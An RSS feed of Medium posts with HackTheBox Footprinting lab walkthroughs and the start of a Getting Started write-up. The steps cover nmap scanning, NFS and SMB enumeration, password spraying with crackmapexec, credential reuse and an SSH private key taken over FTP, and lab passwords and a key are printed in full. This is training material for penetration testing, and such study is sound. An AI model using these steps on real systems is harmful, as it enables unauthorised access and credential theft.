oV2GJruL7qAAAAQEA/XiMw8fvw6MqfsFdExI6FCDLAMnuFZycMSQjmTWIMP3cNA<br>2qekJF44lL3ov+etmkGDiaWI5XjUbl1ZmMZB1G8/vk8Y9ysZeIN5DvOIv46c9t55pyIl5+<br>fWHo7g0DzOw0Z9ccM0lr60hRTm8Gr/Uv4TgpChU1cnZbo2TNld3SgVwUJFxxa//LkX8HGD<br>vf2Z8wDY4Y0QRCFnHtUUwSPiS9GVKfQFb6wM+IAcQv5c1MAJlufy0nS0pyDbxlPsc9HEe8<br>EXS1EDnXGjx1EQ5SJhmDmO1rL1Ien1fVnnibuiclAoqCJwcNnw/qRv3ksq0gF5lZsb3aFu<br>kHJpu34GKUVLy74QAAAQEA+UBQH/jO319NgMG5NKq53bXSc23suIIqDYajrJ7h9Gef7w0o<br>eogDuMKRjSdDMG9vGlm982/B/DWp/Lqpdt+59UsBceN7mH21+2CKn6NTeuwpL8lRjnGgCS<br>t4rWzFOWhw1IitEg29d8fPNTBuIVktJU/M/BaXfyNyZo0y5boTOELoU3aDfdGIQ7iEwth5<br>vOVZ1VyxSnhcsREMJNE2U6ETGJMY25MSQytrI9sH93tqWz1CIUEkBV3XsbcjjPSrPGShV/<br>H+alMnPR1boleRUIge8MtQwoC4pFLtMHRWw6yru3tkRbPBtNPDAZjkwF1zXqUBkC0x5c7y<br>XvSb8cNlUIWdRwAAAAt0b21ATklYSEFSRAECAwQFBg==<br>-----END OPENSSH PRIVATE KEY-----</pre><p>We can just copy the entire key and save it locally and change the permissions so we can use it to ssh to the target.</p><pre>chmod 600 tom_key</pre><pre>ssh -i tom_key tom@10.129.29.226</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*RcraVBifsoaWtXyEKfVUvg.png" /></figure><p>After looking at the .bash_history file in toms home directory, we can see that there is a mysql service available:</p><pre>tom@NIXHARD:~$ ls -al<br>total 48<br>drwxr-xr-x 6 tom  tom  4096 Nov 10  2021 .<br>drwxr-xr-x 5 root root 4096 Nov 10  2021 ..<br>-rw------- 1 tom  tom   532 Nov 10  2021 .bash_history<br>-rw-r--r-- 1 tom  tom   220 Nov 10  2021 .bash_logout<br>-rw-r--r-- 1 tom  tom  3771 Nov 10  2021 .bashrc<br>drwx------ 2 tom  tom  4096 Nov 10  2021 .cache<br>drwx------ 3 tom  tom  4096 Nov 10  2021 mail<br>drwx------ 8 tom  tom  4096 Jun 17 20:34 Maildir<br>-rw------- 1 tom  tom   169 Nov 10  2021 .mysql_history<br>-rw-r--r-- 1 tom  tom   807 Nov 10  2021 .profile<br>drwx------ 2 tom  tom  4096 Nov 10  2021 .ssh<br>-rw------- 1 tom  tom  2018 Nov 10  2021 .viminfo<br>tom@NIXHARD:~$ cat .bash_history <br>mysql -u tom -p<br>ssh-keygen -t rsa -b 4096<br>...SNIP...<br>mysql -u tom -p <br>mysql -u tom -p</pre><p>So we can just try the same command with the password (NMds732Js2761) we found earlier for tom:</p><pre>tom@NIXHARD:~$ mysql -u tom -p<br>Enter password: <br>Welcome to the MySQL monitor.  Commands end with ; or \g.<br>Your MySQL connection id is 8<br>Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)<br><br>Copyright (c) 2000, 2021, Oracle and/or its affiliates.<br><br>Oracle is a registered trademark of Oracle Corporation and/or its<br>affiliates. Other names may be trademarks of their respective<br>owners.<br><br>Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.<br><br>mysql&gt; </pre><pre>mysql&gt; show databases;<br>+--------------------+<br>| Database           |<br>+--------------------+<br>| information_schema |<br>| mysql              |<br>| performance_schema |<br>| sys                |<br>| users              |<br>+--------------------+<br>5 rows in set (0.02 sec)<br><br>mysql&gt; use users;<br>Reading table information for completion of table and column names<br>You can turn off this feature to get a quicker startup with -A<br><br>Database changed<br>mysql&gt; show tables;<br>+-----------------+<br>| Tables_in_users |<br>+-----------------+<br>| users           |<br>+-----------------+<br>1 row in set (0.00 sec)<br><br>mysql&gt; describe users;<br>+----------+-------------+------+-----+---------+-------+<br>| Field    | Type        | Null | Key | Default | Extra |<br>+----------+-------------+------+-----+---------+-------+<br>| id       | int         | YES  |     | NULL    |       |<br>| username | varchar(50) | YES  |     | NULL    |       |<br>| password | varchar(50) | YES  |     | NULL    |       |<br>+----------+-------------+------+-----+---------+-------+<br>3 rows in set (0.00 sec)<br><br>mysql&gt; select * from users where username like &#39;%HTB%&#39;;<br>+------+----------+------------------------------+<br>| id   | username | password                     |<br>+------+----------+------------------------------+<br>|  150 | HTB      | cr3n4o7r******************** |<br>+------+----------+------------------------------+<br>1 row in set (0.01 sec)<br><br>mysql&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*zilMVl-UPAEHDKyktudlcA.jpeg" /></figure><p>I hope you enjoyed the walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=348321bfaaef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Footprinting Lab — Medium (Walkthrough)]]></title>
            <link>https://medium.com/@theV01D/footprinting-lab-medium-walkthrough-81c4610e8c7c?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/81c4610e8c7c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 21:50:53 GMT</pubDate>
            <atom:updated>2026-06-16T21:51:21.050Z</atom:updated>
            <content:encoded><![CDATA[<p>This second server is a server that everyone on the internal network has access to. In our discussion with our client, we pointed out that these servers are often one of the main targets for attackers and that this server should be added to the scope.</p><p>Our customer agreed to this and added this server to our scope. Here, too, the goal remains the same. We need to find out as much information as possible about this server and find ways to use it against the server itself. For the proof and protection of customer data, a user named HTB has been created. Accordingly, we need to obtain the credentials of this user as proof.</p><p><strong>Question 1:</strong></p><blockquote>Enumerate the server carefully and find the username “HTB” and its password. Then, submit this user’s password as the answer.</blockquote><p>We start with some enumeration using nmap to find out what services are running.</p><pre>sudo nmap -p- --min-rate=10000 10.129.202.41</pre><pre><br>PORT      STATE SERVICE<br>111/tcp   open  rpcbind<br>135/tcp   open  msrpc<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds<br>2049/tcp  open  nfs<br>3389/tcp  open  ms-wbt-server<br>5985/tcp  open  wsman<br>47001/tcp open  winrm<br>49664/tcp open  unknown<br>49665/tcp open  unknown<br>49666/tcp open  unknown<br>49667/tcp open  unknown<br>49678/tcp open  unknown<br>49679/tcp open  unknown<br>49680/tcp open  unknown<br>49681/tcp open  unknown</pre><pre>sudo nmap -p 111,135,139,445,2049,3389,5985,47001,49664,49665,49666,49667,49678,49679,49680,49681 -sC -sV -oN medium.nmap 10.129.202.41</pre><pre>PORT      STATE SERVICE       VERSION<br>111/tcp   open  rpcbind       2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/tcp6  rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  2,3,4        111/udp6  rpcbind<br>|   100003  2,3         2049/udp   nfs<br>|   100003  2,3         2049/udp6  nfs<br>|   100003  2,3,4       2049/tcp   nfs<br>|   100003  2,3,4       2049/tcp6  nfs<br>|   100005  1,2,3       2049/tcp   mountd<br>|   100005  1,2,3       2049/tcp6  mountd<br>|   100005  1,2,3       2049/udp   mountd<br>|_  100005  1,2,3       2049/udp6  mountd<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds?<br>2049/tcp  open  mountd        1-3 (RPC #100005)<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: WINMEDIUM<br>|   NetBIOS_Domain_Name: WINMEDIUM<br>|   NetBIOS_Computer_Name: WINMEDIUM<br>|   DNS_Domain_Name: WINMEDIUM<br>|   DNS_Computer_Name: WINMEDIUM<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-06-16T20:51:02+00:00<br>| ssl-cert: Subject: commonName=WINMEDIUM<br>| Not valid before: 2026-06-15T19:47:23<br>|_Not valid after:  2026-12-15T19:47:23<br>|_ssl-date: 2026-06-16T20:51:10+00:00; 0s from scanner time.<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49678/tcp open  msrpc         Microsoft Windows RPC<br>49679/tcp open  msrpc         Microsoft Windows RPC<br>49680/tcp open  msrpc         Microsoft Windows RPC<br>49681/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2026-06-16T20:51:03<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required</pre><p>I tried to enumerate the smb service via <strong>guest</strong> account, but it didn’t work. The next thing that came to mind was <strong>NFS</strong>.</p><pre>└──╼ [★]$ showmount -e 10.129.202.41<br>Export list for 10.129.202.41:<br>/TechSupport (everyone)</pre><p>So we can mount to /TechSupport</p><pre>└──╼ [★]$ mkdir TechSupport<br>└──╼ [★]$ sudo mount -t nfs 10.129.202.41:/TechSupport ./TechSupport/ -o nolock</pre><p>Here we mount the exported /TechSupport share to the local TechSupport directory we just created. The -o nolock option disables file locking, which avoids issues with some NFS server configurations.</p><p>To change directories into “TechSupport” you need to be root, otherwise you will get a “Permission denied” error. You can simply run sudo su.</p><pre>└──╼ #ls -al<br>...SNIP...<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283775.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283776.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283777.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283778.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283779.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283780.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283781.txt<br>-rwx------ 1 nobody nogroup  1305 Nov 10  2021 ticket4238791283782.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283783.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283784.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283785.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283786.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283787.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283788.txt<br>-rwx------ 1 nobody nogroup     0 Nov 10  2021 ticket4238791283789.txt<br>...SNIP...</pre><p>And the contents of the file:</p><pre>└──╼ #cat ticket4238791283782.txt<br>Conversation with InlaneFreight Ltd<br><br>Started on November 10, 2021 at 01:27 PM London time GMT (GMT+0200)<br>---<br>01:27 PM | Operator: Hello,. <br> <br>So what brings you here today?<br>01:27 PM | alex: hello<br>01:27 PM | Operator: Hey alex!<br>01:27 PM | Operator: What do you need help with?<br>01:36 PM | alex: I run into an issue with the web config file on the system for the smtp server. do you mind to take a look at the config?<br>01:38 PM | Operator: Of course<br>01:42 PM | alex: here it is:<br><br> 1smtp {<br> 2    host=smtp.web.dev.inlanefreight.htb<br> 3    #port=25<br> 4    ssl=true<br> 5    user=&quot;alex&quot;<br> 6    password=&quot;lol123!mD&quot;<br> 7    from=&quot;alex.g@web.dev.inlanefreight.htb&quot;<br> 8}<br> 9<br>10securesocial {<br>11    <br>12    onLoginGoTo=/<br>13    onLogoutGoTo=/login<br>14    ssl=false<br>15    <br>16    userpass {      <br>17     withUserNameSupport=false<br>18     sendWelcomeEmail=true<br>19     enableGravatarSupport=true<br>20     signupSkipLogin=true<br>21     tokenDuration=60<br>22     tokenDeleteInterval=5<br>23     minimumPasswordLength=8<br>24     enableTokenJob=true<br>25     hasher=bcrypt<br>26 }<br>27<br>28     cookie {<br>29     #       name=id<br>30     #       path=/login<br>31     #       domain=&quot;10.129.2.59:9500&quot;<br>32            httpOnly=true<br>33            makeTransient=false<br>34            absoluteTimeoutInMinutes=1440<br>35            idleTimeoutInMinutes=1440<br>36    }   <br><br><br><br>---</pre><p>We found the credentials for one user:</p><pre>alex:lol123!mD</pre><p>Unfortunetly, we can not use these credentials for remote access, but we can enumerate the smb service now.</p><pre>└──╼ #crackmapexec smb 10.129.202.41 -u &#39;alex&#39; -p &#39;lol123!mD&#39; --shares<br>SMB         10.129.202.41   445    WINMEDIUM        [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINMEDIUM) (domain:WINMEDIUM) (signing:False) (SMBv1:None)<br>SMB         10.129.202.41   445    WINMEDIUM        [+] WINMEDIUM\alex:lol123!mD <br>SMB         10.129.202.41   445    WINMEDIUM        [*] Enumerated shares<br>SMB         10.129.202.41   445    WINMEDIUM        Share           Permissions     Remark<br>SMB         10.129.202.41   445    WINMEDIUM        -----           -----------     ------<br>SMB         10.129.202.41   445    WINMEDIUM        ADMIN$                          Remote Admin<br>SMB         10.129.202.41   445    WINMEDIUM        C$                              Default share<br>SMB         10.129.202.41   445    WINMEDIUM        devshare        READ,WRITE      <br>SMB         10.129.202.41   445    WINMEDIUM        IPC$            READ            Remote IPC<br>SMB         10.129.202.41   445    WINMEDIUM        Users           READ</pre><p>Next, we need to connect to devshare and download the “important.txt” file.</p><pre>└──╼ #smbclient &#39;//10.129.202.41/devshare&#39; -U &#39;alex&#39;<br>Password for [WORKGROUP\alex]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Tue Jun 16 17:05:40 2026<br>  ..                                  D        0  Tue Jun 16 17:05:40 2026<br>  important.txt                       A       16  Wed Nov 10 11:12:55 2021<br><br>  6367231 blocks of size 4096. 2589393 blocks available<br>smb: \&gt; get important.txt<br>getting file \important.txt of size 16 as important.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)<br>smb: \&gt; </pre><p>The file contains another set of credentials:</p><pre>sa:87N1ns@slls83</pre><p>We cannot connect to the user “sa” using this password, but we could try the same password for other users in case of password reuse. To find out other existing users we can run the following crackmapexec command:</p><pre>crackmapexec smb 10.129.202.41 -u &#39;alex&#39; -p &#39;lol123!mD&#39; --rid-brute</pre><p>And we get a list of users:</p><pre>SMB         10.129.202.41   445    WINMEDIUM        500: WINMEDIUM\Administrator (SidTypeUser)<br>SMB         10.129.202.41   445    WINMEDIUM        501: WINMEDIUM\Guest (SidTypeUser)<br>SMB         10.129.202.41   445    WINMEDIUM        503: WINMEDIUM\DefaultAccount (SidTypeUser)<br>SMB         10.129.202.41   445    WINMEDIUM        504: WINMEDIUM\WDAGUtilityAccount (SidTypeUser)<br>SMB         10.129.202.41   445    WINMEDIUM        513: WINMEDIUM\None (SidTypeGroup)<br>SMB         10.129.202.41   445    WINMEDIUM        1001: WINMEDIUM\alex (SidTypeUser)<br>SMB         10.129.202.41   445    WINMEDIUM        1002: WINMEDIUM\SQLServer2005SQLBrowserUser$WINMEDIUM (SidTypeAlias)</pre><p>After some regex we get this userlist:</p><pre>Administrator<br>Guest<br>DefaultAccount<br>WDAGUtilityAccount<br>None<br>alex<br>SQLServer2005SQLBrowserUser$WINMEDIUM</pre><p>Now we can spray the password against the users we found:</p><pre>└──╼ #crackmapexec winrm 10.129.202.41 -u usernames.txt -p &#39;87N1ns@slls83&#39;<br>WINRM       10.129.202.41   5985   WINMEDIUM        [*] Windows 10 / Server 2019 Build 17763 (name:WINMEDIUM) (domain:WINMEDIUM) <br>WINRM       10.129.202.41   5985   WINMEDIUM        [+] WINMEDIUM\Administrator:87N1ns@slls83 (Pwn3d!)</pre><p>We can see that we have remote access for Administrator!</p><pre>xfreerdp /v:10.129.202.41 /u:Administrator /p:87N1ns@slls83 /dynamic-resolution</pre><p>Once connected, we can open the <em>Microsoft SQL Server </em>and click connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qCaTRNAeDIWw8gHvGMRYFg.png" /></figure><p>Inside the app:</p><ul><li>Open <strong><em>Databases</em></strong></li><li>Open <strong><em>accounts</em></strong></li><li>Open <strong><em>Graph Tables</em></strong></li><li>Right click <strong><em>dbo.devsacc</em></strong></li><li>Choose <strong><em>Select Top 1000 Rows</em></strong></li></ul><p>This gives you a field to execute queries. You can add the following to the existing query to get the answer to this lab:</p><pre>WHERE [name] like &#39;%HTB%&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*sfeS7lCW5mOkhOMTN6xOgQ.jpeg" /></figure><p>I hope you enjoyed the walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81c4610e8c7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Footprinting Lab — Easy (Walkthrough)]]></title>
            <link>https://medium.com/@theV01D/footprinting-lab-easy-walkthrough-52905a82f00a?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/52905a82f00a</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 22:14:13 GMT</pubDate>
            <atom:updated>2026-06-15T22:14:13.312Z</atom:updated>
            <content:encoded><![CDATA[<p>We were commissioned by the company Inlanefreight Ltd to test three different servers in their internal network. The company uses many different services, and the IT security department felt that a penetration test was necessary to gain insight into their overall security posture.</p><p>The first server is an internal DNS server that needs to be investigated. In particular, our client wants to know what information we can get out of these services and how this information could be used against its infrastructure. Our goal is to gather as much information as possible about the server and find ways to use that information against the company. However, our client has made it clear that it is forbidden to attack the services aggressively using exploits, as these services are in production.</p><p>Additionally, our teammates have found the following credentials “ceil:qwer1234”, and they pointed out that some of the company’s employees were talking about SSH keys on a forum.</p><p>The administrators have stored a flag.txt file on this server to track our progress and measure success. Fully enumerate the target and submit the contents of this file as proof.</p><p>First we run nmap to identify open ports and services that are running:</p><blockquote>sudo nmap -p- — min-rate=10000 10.129.27.178 -vv</blockquote><pre>PORT     STATE SERVICE     REASON<br>21/tcp   open  ftp         syn-ack ttl 63<br>22/tcp   open  ssh         syn-ack ttl 63<br>53/tcp   open  domain      syn-ack ttl 63<br>2121/tcp open  ccproxy-ftp syn-ack ttl 63</pre><p>TTL 63 hints towards a linux host</p><blockquote>sudo nmap -p 21,22,53,2121 -sC -sV -oN easy.nmap 10.129.27.178</blockquote><pre>PORT     STATE SERVICE VERSION<br>21/tcp   open  ftp<br>| fingerprint-strings: <br>|   GenericLines: <br>|     220 ProFTPD Server (ftp.int.inlanefreight.htb) [10.129.27.178]<br>|     Invalid command: try being more creative<br>|_    Invalid command: try being more creative<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)<br>|   256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)<br>|_  256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)<br>53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)<br>| dns-nsid: <br>|_  bind.version: 9.16.1-Ubuntu<br>2121/tcp open  ftp<br>| fingerprint-strings: <br>|   GenericLines: <br>|     220 ProFTPD Server (Ceil&#39;s FTP) [10.129.27.178]<br>|     Invalid command: try being more creative<br>|_    Invalid command: try being more creative<br>2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============<br>SF-Port21-TCP:V=7.95%I=7%D=6/15%Time=6A3073DC%P=x86_64-pc-linux-gnu%r(Gene<br>SF:ricLines,9C,&quot;220\x20ProFTPD\x20Server\x20\(ftp\.int\.inlanefreight\.htb<br>SF:\)\x20\[10\.129\.27\.178\]\r\n500\x20Invalid\x20command:\x20try\x20bein<br>SF:g\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20<br>SF:more\x20creative\r\n&quot;);<br>==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============<br>SF-Port2121-TCP:V=7.95%I=7%D=6/15%Time=6A3073DC%P=x86_64-pc-linux-gnu%r(Ge<br>SF:nericLines,8D,&quot;220\x20ProFTPD\x20Server\x20\(Ceil&#39;s\x20FTP\)\x20\[10\.1<br>SF:29\.27\.178\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20<br>SF:creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creat<br>SF:ive\r\n&quot;);<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>We can try to ssh to the host using the provided credentials, but we get a “Permission denied”</p><pre>└──╼ [★]$ ssh ceil@10.129.27.178<br>ceil@10.129.27.178: Permission denied (publickey).</pre><p>So we need a key</p><p>However, we can authenticate via ftp on port 21, but there is not much to start with, so I will try the ftp service on port 2121 and this time it looks promissing (ceil:qwer1234):</p><pre>└──╼ [★]$ ftp 10.129.27.178 2121<br>Connected to 10.129.27.178.<br>220 ProFTPD Server (Ceil&#39;s FTP) [10.129.27.178]<br>Name (10.129.27.178:root): ceil<br>331 Password required for ceil<br>Password: <br>230 User ceil logged in<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; </pre><p>After doing some enumeration, we will find the <strong>id_rsa</strong> file inside the <strong>.ssh</strong> directory, which we can download and use to connect to the host via ssh.</p><pre>└──╼ [★]$ ftp 10.129.27.178 2121<br>Connected to 10.129.27.178.<br>220 ProFTPD Server (Ceil&#39;s FTP) [10.129.27.178]<br>Name (10.129.27.178:root): ceil<br>331 Password required for ceil<br>Password: <br>230 User ceil logged in<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls -al<br>229 Entering Extended Passive Mode (|||6082|)<br>150 Opening ASCII mode data connection for file list<br>drwxr-xr-x   4 ceil     ceil         4096 Nov 10  2021 .<br>drwxr-xr-x   4 ceil     ceil         4096 Nov 10  2021 ..<br>-rw-------   1 ceil     ceil          294 Nov 10  2021 .bash_history<br>-rw-r--r--   1 ceil     ceil          220 Nov 10  2021 .bash_logout<br>-rw-r--r--   1 ceil     ceil         3771 Nov 10  2021 .bashrc<br>drwx------   2 ceil     ceil         4096 Nov 10  2021 .cache<br>-rw-r--r--   1 ceil     ceil          807 Nov 10  2021 .profile<br>drwx------   2 ceil     ceil         4096 Nov 10  2021 .ssh<br>-rw-------   1 ceil     ceil          759 Nov 10  2021 .viminfo<br>226 Transfer complete<br>ftp&gt; cd .ssh<br>250 CWD command successful<br>ftp&gt; ls -al<br>229 Entering Extended Passive Mode (|||3878|)<br>150 Opening ASCII mode data connection for file list<br>drwx------   2 ceil     ceil         4096 Nov 10  2021 .<br>drwxr-xr-x   4 ceil     ceil         4096 Nov 10  2021 ..<br>-rw-rw-r--   1 ceil     ceil          738 Nov 10  2021 authorized_keys<br>-rw-------   1 ceil     ceil         3381 Nov 10  2021 id_rsa<br>-rw-r--r--   1 ceil     ceil          738 Nov 10  2021 id_rsa.pub<br>226 Transfer complete<br>ftp&gt; get id_rsa<br>local: id_rsa remote: id_rsa<br>229 Entering Extended Passive Mode (|||54185|)<br>150 Opening BINARY mode data connection for id_rsa (3381 bytes)<br>100% |***********************************************************************************************************|  3381       62.00 MiB/s    00:00 ETA<br>226 Transfer complete<br>3381 bytes received in 00:00 (38.74 KiB/s)</pre><p>Back on our own machine we can change the file permissions and use it to ssh to the target</p><blockquote>chmod 600 id_rsa &amp;&amp; ssh -i id_rsa ceil@10.129.27.178</blockquote><pre>└──╼ [★]$ chmod 600 id_rsa &amp;&amp; ssh -i id_rsa ceil@10.129.27.178<br>Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-90-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>  System information as of Mon 15 Jun 2026 10:04:54 PM UTC<br><br>  System load:  0.0               Processes:               162<br>  Usage of /:   86.7% of 3.87GB   Users logged in:         0<br>  Memory usage: 12%               IPv4 address for ens192: 10.129.27.178<br>  Swap usage:   0%<br><br>  =&gt; / is using 86.7% of 3.87GB<br><br><br>118 updates can be installed immediately.<br>1 of these updates is a security update.<br>To see these additional updates run: apt list --upgradable<br><br><br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br><br><br>Last login: Mon Jun 15 21:56:10 2026 from 10.10.14.207<br>ceil@NIXEASY:~$</pre><p>We successfully gained access to the target. The flag can be found in <em>/home/flag</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*qG9AR28Egv0WNShMxH7abA.jpeg" /></figure><p>I hope you enjoyed the walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52905a82f00a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Getting Started — Knowledge Check WriteUp]]></title>
            <link>https://medium.com/@theV01D/hackthebox-getting-started-knowledge-check-ab7289fa85f3?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab7289fa85f3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cpts-path]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Wed, 20 May 2026 16:05:55 GMT</pubDate>
            <atom:updated>2026-05-20T16:10:16.261Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s put together everything we learned in this module and attack our first box without a guide.</p><h3>Tips</h3><p>Remember that enumeration is an iterative process. After performing our Nmap port scans, make sure to perform detailed enumeration against all open ports based on what is running on the discovered ports. Follow the same process as we did with Nibbles:</p><ul><li>Enumeration/Scanning with Nmap - perform a quick scan for open ports followed by a full port scan</li><li>Web Footprinting — check any identified web ports for running web applications, and any hidden files/directories. Some useful tools for this phase include whatweb and Gobuster</li><li>If you identify the website URL, you can add it to your ‘/etc/hosts’ file with the IP you get in the question below to load it normally, though this is unnecessary.</li><li>After identifying the technologies in use, use a tool such as Searchsploit to find public exploits or search on Google for manual exploitation techniques</li><li>After gaining an initial foothold, use the Python3 pty trick to upgrade to a pseudo TTY</li><li>Perform manual and automated enumeration of the file system, looking for misconfigurations, services with known vulnerabilities, and sensitive data in cleartext such as credentials</li><li>Organize this data offline to determine the various ways to escalate privileges to root on this target</li></ul><p>There are two ways to gain a foothold — one using Metasploit and one via a manual process. Challenge ourselves to work through and gain an understanding of both methods.</p><p>There are two ways to escalate privileges to root on the target after obtaining a foothold. Make use of helper scripts such as <a href="https://github.com/rebootuser/LinEnum">LinEnum</a> and <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">LinPEAS</a> to assist you. Filter through the information searching for two well-known privilege escalation techniques.</p><p>Have fun, never stop learning, and do not forget to think outside of the box!</p><p>Question 1:</p><h3>Spawn the target, gain a foothold and submit the contents of the user.txt flag.</h3><p>We start by running nmap on the target (10.129.91.73)</p><pre>sudo nmap -p- --min-rate=10000 10.129.91.73</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*S4COWB_NkVVpIejuwuRF-A.png" /></figure><p><strong>sudo</strong> — Runs nmap with root privileges, which is required for certain scan types like SYN scans.</p><p><strong>-p-</strong> — Scans all 65,535 TCP ports instead of just the default top 1,000.</p><p><strong>--min-rate=10000</strong> — Tells nmap to send at least 10,000 packets per second, significantly speeding up the scan.</p><p><strong>10.129.91.73</strong> — The target IP address on the HTB network.</p><p>Now that we know 2 ports are open (22 &amp; 80), we can run a more detailed scan on these 2 ports:</p><pre>sudo nmap -p 22,80 -sC -sV -oN tmp.nmap 10.129.91.73</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*QO3FJOnWUktKPrz868ou-A.png" /></figure><ul><li><strong>-p 22,80</strong> — Only scan ports 22 and 80 (the ones we found open earlier).</li><li><strong>-sC</strong> — Run default NSE scripts for extra enumeration (banners, robots.txt, etc.).</li><li><strong>-sV</strong> — Detect service versions running on those ports.</li><li><strong>-oN tmp.nmap</strong> — Save the output in normal format to a file called tmp.nmap.</li></ul><p>Findings:</p><ul><li><strong>Port 22</strong> — SSH running 